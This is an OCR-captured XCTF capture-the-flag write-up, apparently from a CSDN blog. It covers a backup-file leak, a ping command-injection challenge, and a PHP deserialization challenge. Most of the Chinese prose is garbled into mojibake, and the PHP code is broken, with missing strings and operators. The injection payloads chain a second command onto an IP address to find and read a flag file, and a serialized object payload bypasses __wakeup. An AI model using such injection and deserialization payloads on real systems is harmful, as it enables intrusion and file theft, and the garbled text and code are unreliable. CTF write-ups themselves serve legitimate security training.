XCTF

WA . AT R R A2, 155 CC 4.0 BY-SA WUBUIMS, HE#kiE b 5 S0 AN S A A A 1
A4S hitpsi//blog.csdn.net/weixin_ 464997 13/article/details/109134114
AL

backup

TR WA b A AE B AR SO, AEHHERE B A I | /index.php~Ei/index.php.bak, B[] 15 54 {7 S04
w2 PAT

command1 && command2 ;347 command1, WHNE, ST command2
command1 | command2 H 47 command2

command1 & command2 54T command2 /5417 command1

command1 || command2 :#4T command1, Wi AN, FH#4T command2
WAPATIRE (||| & && FRN EIEFF)

BH BN H'S T ping 3% T waf (web application firewall) , S sh o] LA i 78
ping T4 J& T A7 5 PR SRHX shell (15 AR, FAT 17T L E HATH AKE 24 1F shell i A\
Frii (AN BT RN T ping lANFEE .

HetiE— )T 127.0.0.1 && s JHEHMAME RS L2 S5, BRS % 2H04T ping
frd M s fr4, "TCARESRE R 0T B N i #A WeLe s fF.

TREHM 127.0.0.1 && find / -name flag.txt , 3, Rk A F

F: /homefflag.txt, Tl FHIAHZ U T .

o FJEEBEMA: 127.0.0.1 && cat /home/flag.txt ,
e findfy4, find/-name “abc.txt”

e catird (#%) cat/abc/cc/abe.txt

« baby web

o i H /R ARG DU 2 WA, A8 Findex.php, {H2%i Aindex.php )& K I E H 3Bk 2] 1 1.php, JHI AT RE<A B 3Bk

FI¥%E, Fburpdlfy, EIEAS —1TGET /1 .php HTTP/1.1
o i1 .phptitkindex.php, go— T, flagHi i

o phpx /¥ %4k (et IEMI L K& _ wakeup () PR


https://blog.csdn.net/weixin_46499713
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_46499713/article/details/109134114

<?php
class Demo {
private $file 5
public function _ construct($file) {
$this->file $file;

1
J

function _ destruct() {
echo @highlight file($this->file, true);

1
J

function _ wakeup() {
if ($this->file

$this->file

}
if (isset($_GET[ 1) |
$var base64 decode($ GET[ 1);
if (preg_match( , $var)) {
die( )5

} else {

@unserialize($var);

}
else {

highlight_file(
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<?php
class Demo {
private $file 5
public function _ construct($file) {
$this->file $file;

1
J

function _ destruct() {

echo @highlight file($this->file, true);
!
J

function _ wakeup() {
if ($this->file

$this->file

$a=new Demo(

$b=serialize($a);

$b=str replace(
$b=str replace(

$c=base64 _encode($b);
echo $c;

?>
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0:4:*Demo”:1:{s:10:“Demofile”;s:8:“fldg.php”;}
O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fldg.php”;}
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